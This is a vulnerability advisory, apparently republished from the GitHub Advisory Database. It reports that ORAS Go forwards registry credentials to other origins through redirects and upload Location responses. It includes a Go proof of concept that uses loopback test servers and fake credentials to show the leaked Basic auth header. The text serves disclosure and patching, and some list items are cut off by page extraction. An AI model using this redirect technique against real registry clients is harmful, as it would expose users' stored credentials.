oras.land/oras-go/v2
Affected
- introduced
0, fixed2.6.1(semver)
Fixed versions
2.6.1
Fix
- Fixed version
2.6.1go get oras.land/oras-go/[email protected]
Advisory
Also known as: GO-2026-5884
ORAS Go forwards registry credentials across registry redirects
ORAS Go forwards registry credentials across registry redirects
Reporter / public credit: JUNYI LIU
Summary
ORAS Go can forward registry credentials configured for one registry origin to a different HTTP origin during registry redirects.
There are two related paths:
Authorization header to the redirect target.POST authenticates to the origin registry, then the origin returns an upload Location on another host or port. The follow-up PUT can carry the origin Authorization header to the Location target.The upload Location issue appears related to the existing public fix in pull request #1152 / GHSA-jxpm-75mh-9fp7. The manifest redirect path is a residual adjacent route: the v2 branch after the upload Location fix still forwards Basic credentials on an authenticated manifest redirect.
Impact
A registry response can cause an ORAS Go or ORAS CLI client to send configured registry credentials to an unintended endpoint. In common workflows, those credentials may come from a registry config / Docker-style auth file rather than command-line flags.
This is a credential exposure across the registry-origin boundary. I am not claiming remote code execution, registry compromise, arbitrary token theft, or live third-party impact.
Affected Versions Tested
oras-go v2.6.0: affected.oras-go main at commit a57383e580c8f2c97fb67dedfc5c9945c8c3614e: affected.oras-go v2 branch at commit d593d504779be8b69f0ba034ac9fd407d1fc8cfc: upload Location path is blocked, but manifest redirect credential forwarding is still affected.3d2646279c70ba60415440e44c2ff97896e4a209, using oras-go v2.6.0: affected when using --registry-config.Security Invariant
Credentials resolved for one registry origin should not be silently forwarded to a different origin reached through a registry redirect or upload Location response.
Local Reproduction Overview
All testing used loopback servers and fake credentials only.
Manifest redirect flow:
401 with a Basic challenge.307 to another port on the same hostname.Authorization header.ORAS CLI stored-credential flow:
oras manifest fetch --plain-http --registry-config <config> <origin>/probe:latest
Authorization header.Blob upload Location flow:
POST to the origin registry.POST.Location URL on another port.PUT to the Location target carries the origin Authorization header.Expected Result
Redirect and upload Location targets on a different HTTP origin should not receive the origin Authorization header.
Observed Result
In affected versions, redirect or Location sinks received:
Authorization: Basic <base64 origin_user:origin_pass>
Standalone Reproducer
package main
import (
"context"
"encoding/json"
"fmt"
"net/http"
"net/http/httptest"
"os"
"sync"
"github.com/opencontainers/go-digest"
"github.com/oras-project/oras-go/v3/registry/remote"
"github.com/oras-project/oras-go/v3/registry/remote/auth"
"github.com/oras-project/oras-go/v3/registry/remote/credentials"
)
type hit struct {
Method string `json:"method"`
Path string `json:"path"`
Host string `json:"host"`
Auth string `json:"auth,omitempty"`
}
func main() {
const username = "origin_user"
const password = "origin_pass"
const expectedAuth = "Basic b3JpZ2luX3VzZXI6b3JpZ2luX3Bhc3M="
var mu sync.Mutex
var originHits, sinkHits []hit
record := func(dst *[]hit, r *http.Request) {
mu.Lock()
defer mu.Unlock()
*dst = append(*dst, hit{
Method: r.Method,
Path: r.URL.RequestURI(),
Host: r.Host,
Auth: r.Header.Get("Authorization"),
})
}
manifest := []byte(`{"schemaVersion":2,"mediaType":"application/vnd.oci.image.manifest.v1+json","config":{"mediaType":"application/vnd.unknown.config.v1+json","digest":"sha256:44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a","size":2},"layers":[]}`)
manifestDigest := digest.FromBytes(manifest).String()
sink := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
record(&sinkHits, r)
if r.Header.Get("Authorization") != expectedAuth {
w.Header().Set("Www-Authenticate", `Basic realm="redirect-sink"`)
w.WriteHeader(http.StatusUnauthorized)
return
}
w.Header().Set("Content-Type", "application/vnd.oci.image.manifest.v1+json")
w.Header().Set("Docker-Content-Digest", manifestDigest)
w.Header().Set("Content-Length", fmt.Sprint(len(manifest)))
_, _ = w.Write(manifest)
}))
defer sink.Close()
origin := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
record(&originHits, r)
if r.Header.Get("Authorization") != expectedAuth {
w.Header().Set("Www-Authenticate", `Basic realm="origin"`)
w.WriteHeader(http.StatusUnauthorized)
return
}
http.Redirect(w, r, sink.URL+r.URL.RequestURI(), http.StatusTemporaryRedirect)
}))
defer origin.Close()
repo, err := remote.NewRepository(origin.Listener.Addr().String() + "/probe")
if err != nil {
panic(err)
}
repo.PlainHTTP = true
repo.Client = &auth.Client{
Client: origin.Client(),
CredentialFunc: credentials.StaticCredentialFunc(origin.Listener.Addr().String(), credentials.Credential{
Username: username,
Password: password,
}),
}
_, _, err = repo.Manifests().FetchReference(context.Background(), "latest")
leaked := false
for _, h := range sinkHits {
if h.Auth == expectedAuth {
leaked = true
}
}
result := map[string]any{
"origin_hits": originHits,
"sink_hits": sinkHits,
"error": "",
"leaked": leaked,
}
if err != nil {
result["error"] = err.Error()
}
encoded, _ := json.MarshalIndent(result, "", " ")
fmt.Println(string(encoded))
if leaked {
fmt.Println("VULNERABLE_BEHAVIOR_CONFIRMED")
return
}
fmt.Println("BOUNDARY_HELD_NO_CREDENTIAL_LEAK")
os.Exit(1)
}
Candidate Fix
The candidate fix does two things:
Authorization is removed when a redirect changes HTTP origin, while preserving any caller-provided CheckRedirect callback.POST Authorization header when the upload Location remains on the same HTTP origin.Medium Basis: The source's own band: MODERATE
0, fixed 2.6.1 (semver)2.6.1
2.6.1go get oras.land/oras-go/[email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0